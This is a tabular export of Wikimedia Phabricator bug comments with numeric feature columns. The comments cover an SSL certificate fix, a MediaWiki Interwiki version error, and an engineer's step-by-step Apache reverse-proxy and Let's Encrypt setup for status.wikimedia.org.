159096,Bad SSL cert at integration.mediawiki.org,And https://gerrit.wikimedia.org/r/1732 which adds SSLCACertificateFile to fix cert verification,,,1325093594,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-87,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,And GERRIT_URL which adds SSLCACertificateFile to fix cert verification
159091,Bad SSL cert at integration.mediawiki.org,Change deployed.,,,1324564550,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Change deployed.
159088,Bad SSL cert at integration.mediawiki.org,"Well spotted!
Ops change is https://gerrit.wikimedia.org/r/1669 , pending review, merge ...",,,1324492963,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-o7qu5nvtew2u5is7oyl5,task_subcomment,,True,c2,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.071428571428571,0.9285714285714286,"Well spotted!
Ops change is GERRIT_URL , pending review, merge ..."
35169,HTTP 500 - internal Server error,"**Author:** `thomas.kujawa`

**Description:**
Can anyone help me to fix the error ?

This is the error: http://www.familienfreund.de/wiki/Spezial:Interwiki

This are my versions: http://www.familienfreund.de/wiki/Spezial:Version

This is the part of my local settings:

# Erweiterung Interwiki
require_once(""extensions/Interwiki/Interwiki.php"");
$wgGroupPermissions['*']['interwiki'] = false;
$wgGroupPermissions['sysop']['interwiki'] = true;

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Other
**URL**: http://www.familienfreund.de",Medium,50.0,1323968520,1324514017.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ujgxgemvvnjedxw4jist,task_description,invalid,True,c2,1,False,False,True,-89,True,0.0,0.5,0.0,0.0,0.0,5.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,12.5,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,1.5,1.0,3.5,0.5,2.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,3.6152834599649326,0.5033606078316775,"**Author:** CODE

**Description:**
Can anyone help me to fix the error ?

This is the error: URL

This are my versions: URL

This is the part of my local settings:

# Erweiterung Interwiki
require_once(""extensions/Interwiki/Interwiki.php"");
$wgGroupPermissions['*']['interwiki'] = false;
$wgGroupPermissions['sysop']['interwiki'] = true;

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: other
**Platform**: Other
**URL**: URL"
160717,HTTP 500 - internal Server error,Resolving invalid per comment 2 and comment 1,,,1324514017,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.75,0.875,Resolving invalid per comment 2 and comment 1
160712,HTTP 500 - internal Server error,"Please look at the version numbers under [[mw:Extension:Interwiki#Download]]. You have MW 1.18 and Interwiki 2.0, but 1.4.1 should be used on 1.18.",,,1324208274,,PHID-USER-th6xijvyee7wqsk7bc67,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.8181818181818183,0.8484848484848485,"Please look at the version numbers under [[mw:Extension:Interwiki#Download]]. You have MW 1.18 and Interwiki 2.0, but 1.4.1 should be used on 1.18."
160710,HTTP 500 - internal Server error,"A bug tracker is not a help forum. You should ask in mediawiki-l instead.

What's does your php error log show?",,,1323968734,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-ujgxgemvvnjedxw4jist,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,4.0,4.0,0.0,0.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9642857142857143,"A bug tracker is not a help forum. You should ask in mediawiki-l instead.

What's does your php error log show?"
34796,status.wikimedia.org has no (valid) HTTPS,"Currently, status.wikimedia.org has no HTTPS at all.  I suspect this was the ""workaround"" for it having an incorrect certificate in the past.

Previous description: status.wikimedia.org is using an security certificate from *.io.watchmouse.com which give a warning in IE and Chrome.

Is it possible to install a wikimedia certificate on that domain? Thanks.",Medium,50.0,1323026640,1464907714.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_description,resolved,True,c2,1,False,False,False,-91,True,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,12.0,0.0,2.0,15.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,11.0,8.0,2.0,3.0,0.0,5.0,0.0,2.0,6.0,0.0,3.0,0.0,0.0,0.0,4.7384615384615385,0.8,"Currently, status.wikimedia.org has no HTTPS at all.  I suspect this was the ""workaround"" for it having an incorrect certificate in the past.

Previous description: status.wikimedia.org is using an security certificate from *.io.watchmouse.com which give a warning in IE and Chrome.

Is it possible to install a wikimedia certificate on that domain? Thanks."
673705,status.wikimedia.org has no (valid) HTTPS,"(note, above has been edited a few times to correct missing stuff, will keep doing that so this task serves as a good reference)",,,1464909531,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,4.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.75,0.9285714285714286,"(note, above has been edited a few times to correct missing stuff, will keep doing that so this task serves as a good reference)"
673704,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local `acme` user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Installed the letsencrypt X3 and X4 intermediates in /usr/local/share/ca-certificates and ran update-ca-certificates.
5. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
6. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
```
lines=20
# vim: filetype=apache

<VirtualHost *:80>
	ServerAdmin noc@wikimedia.org
        ServerName status.wikimedia.org

	SSLEngine off
	
	RewriteEngine on
	RewriteCond %{SERVER_PORT} !^443$
	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel warn

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
<VirtualHost *:443>
	ServerAdmin noc@wikimedia.org 
	ServerName status.wikimedia.org

        SSLEngine on
        SSLCertificateFile /etc/acme/cert/status.chained.crt
        SSLCertificateKeyFile /etc/acme/key/status.key
  	SSLProtocol all -SSLv2 -SSLv3
	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
	SSLHonorCipherOrder On
	Header always set Strict-Transport-Security ""max-age=31536000""

	<Location />
		ProxyPass ""http://status.asm.ca.com/8777/""
		ProxyPassReverse ""http://status.asm.ca.com/8777/""
		RequestHeader unset Accept-Encoding
		Header always set Content-Security-Policy upgrade-insecure-requests
		ProxyHTMLEnable On
		ProxyHTMLExtended On
		ProxyHTMLLinks	a		href
		ProxyHTMLLinks	area		href
		ProxyHTMLLinks	link		href
		ProxyHTMLLinks	img		src longdesc usemap
		ProxyHTMLLinks	object		classid codebase data usemap
		ProxyHTMLLinks	q		cite
		ProxyHTMLLinks	blockquote	cite
		ProxyHTMLLinks	ins		cite
		ProxyHTMLLinks	del		cite
		ProxyHTMLLinks	form		action
		ProxyHTMLLinks	input		src usemap
		ProxyHTMLLinks	head		profile
		ProxyHTMLLinks	base		href
		ProxyHTMLLinks	script		src for
		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
   		ProxyHTMLURLMap http:// https:// [i]
		SetOutputFilter proxy-html
	</Location>
        <Location /.mongocache>
		ProxyPass ""http://mongocache.asm.ca.com/""
		ProxyPassReverse ""http://mongocache.asm.ca.com/""
        </Location>

	<Location /.well-known/acme-challenge>
		ProxyPass ""!""
	</Location>

	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
	<IfVersion >= 2.4>
    	<Directory ""/var/acme/challenge"">
       		Require all granted
    	</Directory>
	</IfVersion>

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel debug

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
```
7. Ran the initial acme-setup for self-signed:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
8. Reloaded apache2
9. Re-run to get a real cert:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
10. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464909509,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,10.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,18.333333333333332,0.0,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,0.6666666666666666,7.333333333333333,1.0,2.0,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.6666666666666667,0.0,2.3333333333333335,10.666666666666666,3.6666666666666665,0.0,0.0,0.0,2.3333333333333335,0.0,1.3333333333333333,2.0,0.3333333333333333,1.6666666666666667,0.0,0.0,1.0,3.9138576779026217,0.7228464419475656,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local CODE user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Installed the letsencrypt X3 and X4 intermediates in /usr/local/share/ca-certificates and ran update-ca-certificates.
5. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
6. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
``CODE`CODE`CODE`CODE`CODE``
10. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary."
673688,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local `acme` user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
```
lines=20
# vim: filetype=apache

<VirtualHost *:80>
	ServerAdmin noc@wikimedia.org
        ServerName status.wikimedia.org

	SSLEngine off
	
	RewriteEngine on
	RewriteCond %{SERVER_PORT} !^443$
	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel warn

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
<VirtualHost *:443>
	ServerAdmin noc@wikimedia.org 
	ServerName status.wikimedia.org

        SSLEngine on
        SSLCertificateFile /etc/acme/cert/status.chained.crt
        SSLCertificateKeyFile /etc/acme/key/status.key
  	SSLProtocol all -SSLv2 -SSLv3
	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
	SSLHonorCipherOrder On
	Header always set Strict-Transport-Security ""max-age=31536000""

	<Location />
		ProxyPass ""http://status.asm.ca.com/8777/""
		ProxyPassReverse ""http://status.asm.ca.com/8777/""
		RequestHeader unset Accept-Encoding
		Header always set Content-Security-Policy upgrade-insecure-requests
		ProxyHTMLEnable On
		ProxyHTMLExtended On
		ProxyHTMLLinks	a		href
		ProxyHTMLLinks	area		href
		ProxyHTMLLinks	link		href
		ProxyHTMLLinks	img		src longdesc usemap
		ProxyHTMLLinks	object		classid codebase data usemap
		ProxyHTMLLinks	q		cite
		ProxyHTMLLinks	blockquote	cite
		ProxyHTMLLinks	ins		cite
		ProxyHTMLLinks	del		cite
		ProxyHTMLLinks	form		action
		ProxyHTMLLinks	input		src usemap
		ProxyHTMLLinks	head		profile
		ProxyHTMLLinks	base		href
		ProxyHTMLLinks	script		src for
		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
   		ProxyHTMLURLMap http:// https:// [i]
		SetOutputFilter proxy-html
	</Location>
        <Location /.mongocache>
		ProxyPass ""http://mongocache.asm.ca.com/""
		ProxyPassReverse ""http://mongocache.asm.ca.com/""
        </Location>

	<Location /.well-known/acme-challenge>
		ProxyPass ""!""
	</Location>

	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
	<IfVersion >= 2.4>
    	<Directory ""/var/acme/challenge"">
       		Require all granted
    	</Directory>
	</IfVersion>

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel debug

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
```
6. Ran the initial acme-setup for self-signed:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
7. Reloaded apache2
8. Re-run to get a real cert:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary.",,,1464908044,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-p3kmcwf4o2kjztb4sly3,task_subcomment,,True,c2,3,True,,,144,True,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,4.333333333333333,10.666666666666666,0.0,1.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,2.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,6.0,0.6666666666666666,6.666666666666667,1.0,1.3333333333333333,7.666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.3333333333333333,0.0,2.3333333333333335,10.666666666666666,3.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.6666666666666667,2.3333333333333335,0.3333333333333333,2.0,0.0,0.0,1.0,3.9141350210970463,0.7614978902953586,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local CODE user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
``CODE`CODE`CODE`CODE`CODE``
9. Created a cronjob running exactly the above once a day at 17:17, which will auto-renew when necessary."
673687,status.wikimedia.org has no (valid) HTTPS,"I've moved the status.wm.o DNS to wikitech-static, and set up an apache reverse proxy there with a LetsEncrypt cert that auto-renews.  It seems to work now, after much experimenting and mucking around!

For the record, since we have no puppet, in case we have to muck with this again, the basic things I did were:

1. Created a local `acme` user and group that can't log in
2. Copied acme-setup, acme_tiny.py, and x509-bundle from our puppet repo to /usr/local/sbin/
3. Commented out the self-verification portion of acme_tiny.py (this always seems to fail on challenge over redirect to self-signed for me).
4. Enabled the following new apache2 modules: proxy, proxy_http, proxy_html
5. Set up the following as the sites-available/enabled file for status.wikimedia.org.conf (note especially the crazy html translation hacks for re-mapping links URLs, especially the mongocache one (which is for ajax data loaded from a separate HTTP-only URL belonging to CA...):
```
lines=20
# vim: filetype=apache

<VirtualHost *:80>
	ServerAdmin noc@wikimedia.org
        ServerName status.wikimedia.org

	SSLEngine off
	
	RewriteEngine on
	RewriteCond %{SERVER_PORT} !^443$
	RewriteRule ^/(.*)$ https://status.wikimedia.org/$1 [L,R=301]

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel warn

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
<VirtualHost *:443>
	ServerAdmin noc@wikimedia.org 
	ServerName status.wikimedia.org

        SSLEngine on
        SSLCertificateFile /etc/acme/cert/status.chained.crt
        SSLCertificateKeyFile /etc/acme/key/status.key
  	SSLProtocol all -SSLv2 -SSLv3
	SSLCipherSuite -ALL:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA
	SSLHonorCipherOrder On
	Header always set Strict-Transport-Security ""max-age=31536000""

	<Location />
		ProxyPass ""http://status.asm.ca.com/8777/""
		ProxyPassReverse ""http://status.asm.ca.com/8777/""
		#ProxyPreserveHost On
		RequestHeader unset Accept-Encoding
		Header always set Content-Security-Policy upgrade-insecure-requests
		ProxyHTMLEnable On
		ProxyHTMLExtended On
		ProxyHTMLLinks	a		href
		ProxyHTMLLinks	area		href
		ProxyHTMLLinks	link		href
		ProxyHTMLLinks	img		src longdesc usemap
		ProxyHTMLLinks	object		classid codebase data usemap
		ProxyHTMLLinks	q		cite
		ProxyHTMLLinks	blockquote	cite
		ProxyHTMLLinks	ins		cite
		ProxyHTMLLinks	del		cite
		ProxyHTMLLinks	form		action
		ProxyHTMLLinks	input		src usemap
		ProxyHTMLLinks	head		profile
		ProxyHTMLLinks	base		href
		ProxyHTMLLinks	script		src for
		ProxyHTMLEvents	onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup onfocus onblur onload onunload onsubmit onreset onselect onchange
   		ProxyHTMLURLMap //status\.asm\.ca\.com/8777(/|$) //status.wikimedia.org/ [Ri]
		ProxyHTMLURLMap //mongocache.asm.ca.com/ //status.wikimedia.org/.mongocache/
   		ProxyHTMLURLMap http:// https:// [i]
		SetOutputFilter proxy-html
	</Location>
        <Location /.mongocache>
		ProxyPass ""http://mongocache.asm.ca.com/""
		ProxyPassReverse ""http://mongocache.asm.ca.com/""
        </Location>

	<Location /.well-known/acme-challenge>
		ProxyPass ""!""
	</Location>

	Alias ""/.well-known/acme-challenge"" ""/var/acme/challenge""
	<IfVersion >= 2.4>
    	<Directory ""/var/acme/challenge"">
       		Require all granted
    	</Directory>
	</IfVersion>

	ErrorLog /var/log/apache2/error.log

	# Possible values include: debug, info, notice, warn, error, crit,
	# alert, emerg.
	LogLevel debug

	CustomLog /var/log/apache2/access.log combined
	ServerSignature Off

</VirtualHost>
```
6. Ran the initial acme-setup for self-signed:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -m self -u acme```
7. Reloaded apache2
8. Re-run to get a real cert:
```/usr/local/sbin/acme-setup -i status -s status.wikimedia.org -u acme -m acme -w apache2```
